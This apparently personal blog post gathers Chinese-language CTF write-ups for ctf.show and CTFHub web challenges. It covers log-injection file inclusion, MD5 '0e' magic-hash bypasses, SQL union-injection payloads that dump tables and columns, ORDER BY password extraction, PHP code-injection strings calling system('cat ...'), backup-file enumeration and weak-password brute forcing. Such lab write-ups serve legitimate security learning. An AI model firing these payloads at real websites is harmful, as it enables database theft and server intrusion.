ctf.show_web
CTF.show秀
Web4


一个文件包含漏洞题目,日志注入
使用include()函数接收url参数,include()函数包含的文件会被执行,从而造成任意代码执行,或者配合伪协议获取敏感文件甚至getshell;
本题伪协议不起作用,我们可以通过日志注入进行任意命令执行,从而getshell
Web5


传递两个参数,一个字符串,一个数字,并且两个参数的md5值必须相同,我们可以利用md5的0e漏洞进行绕过
通过GET请求传递两个参数v1和v2,并且参数v1必须是纯字母字符串,参数v2必须是数字或者数字字符串,并且两个参数的md5值必须相等
0e绕过是指:0e开头的字符串在参与弱类型比较时,会被当做科学计数法,结果转换为0;
- ctype_alpha()函数用于检测字符串中是否仅包含字母,是则返回true,否则返回false
- is_numeric()函数用于检测变量是否为数字或数字字符串,是则返回true,否则返回false
两个md5值进行弱类型比较
1 md5('QNKCDZO') == md5(240610708)MD5加密后会变成这个样子
0e830400451993494058024219903391 == 0e462097431906509019562988736854
由于0e开头的字符串会转换为0,所以真正比较的过程会变成下面这样
0==0
返回结果为true,也就是说0e开头的md5值进行弱类型比较时,结果相等
常用的MD5加密后以0E开头的有
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a
web7
SQL联合注入
打开题目看见文章列表,随机点击,点第一个

发现显示文章,本想搜索flag,发现没有,看见url中id=1
从url地址栏中可以看到,页面通过文章的id值来查询文章内容,我们可以考虑SQL注入漏洞
首先判断注入点,输入以下payload,使SQL恒成立,发现显示文章成功
1 1/**/and/**/1在输入以下payload,使SQL恒不成立,发现显示不出文章,
1 1/**/and/**/0由此可以判断页面存在SQL注入,注入点为数值型注入,页面中有显示位,可以尝试联合注入进行脱库

先来判断显示位,此处id传一个**-1**,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置
1 -1/**/union/**/select/**/1,2,3#

判断数据库
1 -1/**/union/**/select/**/1,database(),3#

查看web数据库中的flag表
1 -1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"),3#

查看flag表中的flag字段
1 -1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),3#也可使用
1 -1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3

查看目标FLAG
1 -1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#

web14
SQL联合注入,GET请求方式
尝试输入c获取$url,发现输入555555、3333、6000000时间过于漫长,输入1、2、3发现输入3时输出并非@A@,而是@A@here_1s_your_f1ag.php@A@,或许here_1s_your_f1ag.php里面就包含flag,查看here_1s_your_f1ag.php文件,发现查询页面,查看是否能进行SQL注入




通过以上判断该题为SQL注入,注入点为数值型注入, 页面有回显, 推荐使用联合注入
获取当前使用的数据库(爆库)
1 -1/**/union/**/select/**/database()

获取数据库中的表(爆表)
1 -1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

获取表中的字段(爆字段)
1 -1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

查询字段内容(查字段)
1 -1/**/union/**/select/**/group_concat(username,password)/**/from/**/content

flag不在这,它不讲武德了啊,看来flag不在这,回去看PHP代码,里面有一个Include(“secret.php”);或许真的flag就在里面
先访问一下 secret.php 文件, 可以正常访问, 没有报404, 说明这个文件确实存在, 而且就在根目录下, apache的默认网站根路径是 /var/www/html, 我们试一下读这个文件的内容

发现提示/real_flag_is_here,查看地址,发现flag

web1
题目提示:“flag在指定用户的密码中”

使用sql注入发现无法注入,看见登录框,可以尝试弱口令注入,爆破
本题使用dirmap爆破

爆出一个www.,zip,访问https://5126510a-052d-4128-83d5-69c656e90f8f.challenge.ctf.show/www.zip将其下载至本地;打开文件夹,查看文件

查看index.php以及login.php和reg.php,发现文件对sql常见注入做了限制和严格过滤,无法使用常规SQL注入。user_main.php像一个显示用户信息的页面。
返回登录界面,注册一个账号并登录,页面显示

显示用户信息表,里面有已经注册的信息。
提示有一个flag_is_my_password,因此我们需要获取该用户的密码。
查看user_mian.php源码:

关键代码为:
1 | $sql="select * from user order by $order"; |
大佬的解释是:可以利用order by 密码来猜测密码,这里需要用到大佬写的脚本
大佬一:https://blog.csdn.net/miuzzx/article/details/104514442
大佬二:https://wp.ctf.show/d/23-ctfshow-web1
大佬三:https://www.cnblogs.com/endermanneer/p/18180926
大佬四:https://ctf.show/writeups/780843
1 | #author 羽 |
该代码中url把https修改成立http,https运行显示报错,于是将其修改为http。
大佬的脚本通过一个很巧妙的方式来判断这些记录是在 flag 的上方还是下方:
1 | if (t.find("<td>"+l+"</td>")>t.find("<td>flag@ctf.show</td>")):#推荐使用 |
1 | if (t.index("<td>"+l+"</td>")>t.index("<td>flag@ctf.show</td>")):#运行有报错 |
通过指定字符串 index 的值,值更大,就是在下方
运行脚本,运行时间比较长,得到flag,显示的flag最后需要将”|“修改成”}“

Web_Codelnject
可以使用闭合

1 | 1=1);system("cat /" #POST |

1 | 1=1);print_r(system("cat /000f1ag.txt"));// #POST |
1 | 1=1);system("cat /000f1ag.txt" #POST |

CTFHUB
WEB_请求方式

用burpsuit抓包,重放,将GET改成CTFHUB,发送即可获得flag

falg

信息页面隐藏
看见页面信息繁杂,flag可能就隐藏在页面中,火狐快捷键*Ctrl+f*快捷查找,输入flag找到FLAG。

备份文件下载——网站源码
当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
常见的网站源码备份文件后缀
- tar
- tar.gz
- zip
- rar
常见的网站源码备份文件名
- web
- website
- backup
- back
- www
- wwwroot
- temp
文件下载,用python脚本,requests
1 | import requests |
1 | <Response [404]>//1 |
得到备份文件”www.zip“

打开flag文件,发现没有flag

直接用
http://challenge-13acc99f8a511ebe.sandbox.ctfhub.com:10800/flag_3210627471.txt得到flag
Web_弱口令
弱口令
通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。
使用BurpSuite中Intruder模块 ,即暴力破解模块(或在fuzz中使用)
开启burp代理
登录信息随便填,抓到request请求如下
1 | POST / HTTP/1.1 |




- Title: ctf.show_web
- Author: 敬请T期待
- Created at : 2024-02-20 15:41:29
- Updated at : 2024-09-11 22:11:12
- Link: https://kingwempity.github.io/2024/02/20/ctf-show-web/
- License: This work is licensed under CC BY-NC-SA 4.0.